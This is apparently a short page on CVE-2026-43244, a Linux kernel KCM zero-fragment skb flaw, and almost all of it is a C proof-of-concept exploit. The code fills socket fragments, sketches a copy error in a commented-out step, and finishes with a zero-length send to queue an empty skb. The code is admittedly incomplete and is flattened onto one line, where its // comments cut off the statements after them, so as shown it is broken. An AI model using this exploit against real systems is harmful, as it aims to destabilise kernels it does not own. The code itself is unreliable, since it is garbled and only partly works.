CVE-2026-43244 Linux内核KCM零片段skb逻辑漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/kcm.h> /* * PoC for CVE-2026-43244 * Demonstrates the sequence to trigger the zero-frag skb warning. * Requires proper KCM setup and privileges. */ int main() { int sock; char *buf; size_t buf_size = 1024 * 1024; // Large enough to fill frags // Create a KCM socket sock = socket(AF_KCM, SOCK_SEQPACKET, 0); if (sock < 0) { perror("socket"); return 1; } // Note: Real exploitation requires attaching to a KCM multiplexor // and transport, which involves setup not shown here. buf = malloc(buf_size); memset(buf, 'A', buf_size); // Step 1: Fill MAX_SKB_FRAGS to trigger allocation of tskb in frag_list send(sock, buf, buf_size, 0); // Step 2: Trigger copy error (Conceptual) // In a real scenario, this involves causing an EFAULT or other error // immediately after the allocation but before filling tskb. // send(sock, invalid_ptr, size, 0); // Step 3: Zero-length write to complete the message (MSG_EOR) // This queues the message with the empty skb send(sock, NULL, 0, 0); free(buf); close(sock); return 0; }